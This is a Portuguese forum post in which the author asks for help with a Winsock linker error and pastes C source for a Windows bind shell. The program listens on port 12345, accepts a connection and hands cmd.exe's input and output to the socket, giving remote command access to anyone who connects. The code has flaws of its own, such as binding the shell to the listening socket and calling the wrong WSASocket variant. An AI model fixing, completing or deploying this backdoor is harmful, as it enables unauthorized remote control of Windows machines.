Saudações,
já estou até meio desesperado pq não consigo resolver este problema e já há uns 3 dias !!!!
O negócio é o seguinte...
Tô estudando Win Sockets. Só que para o que eu toh precisando fazer eu preciso usar a função WSASocketA para criar o socket(ao inves da socket() ) e é ae que tá !!! não compila nem com reza braba!!
[Linker error] undefined reference to `WSASocketA'
gcc.exe "D:\ESTUDO\sock1.c" -o "D:\ESTUDO\sock1.exe" -g3 -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" -lws2_32 -lwsock32
#include <stdio.h>
#include <winsock.h>
#include <windows.h>
#include <winsock2.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);
int new, sockfd;
struct sockaddr_in sin;
sockfd = WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
printf("(*) Configurando Conexão ...\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(12345);
printf("(*) Abrindo Porta ...\n");
bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
listen(sockfd, 5);
printf("(*) Aguardando Conexão...\n");
new = accept(sockfd, NULL, 0);
printf("(*) Conexão Estabelecida... \n");
int i;
printf("(*) Duplicando File Descriptors.... \n");
STARTUPINFO novo;
PROCESS_INFORMATION proc;
ZeroMemory(&novo, sizeof(novo));
ZeroMemory(&proc, sizeof(proc));
novo.cb = sizeof(novo);
novo.hStdInput = novo.hStdOutput = novo.hStdError = sockfd;
novo.dwFlags = STARTF_USESTDHANDLES;
printf("(*) Executando Shell. ***\n");
if (!CreateProcess("C:\\windows\\system32\\cmd.exe", "C:\\windows\\system32\\cmd.exe", NULL, NULL, TRUE ,/* NORMAL_PRIORITY_CLASS*/0 , NULL, NULL, &novo, &proc))
printf("ERRO\n");;
printf("FIM*******\n");
return 0;
}
SE alguem souber ae !!??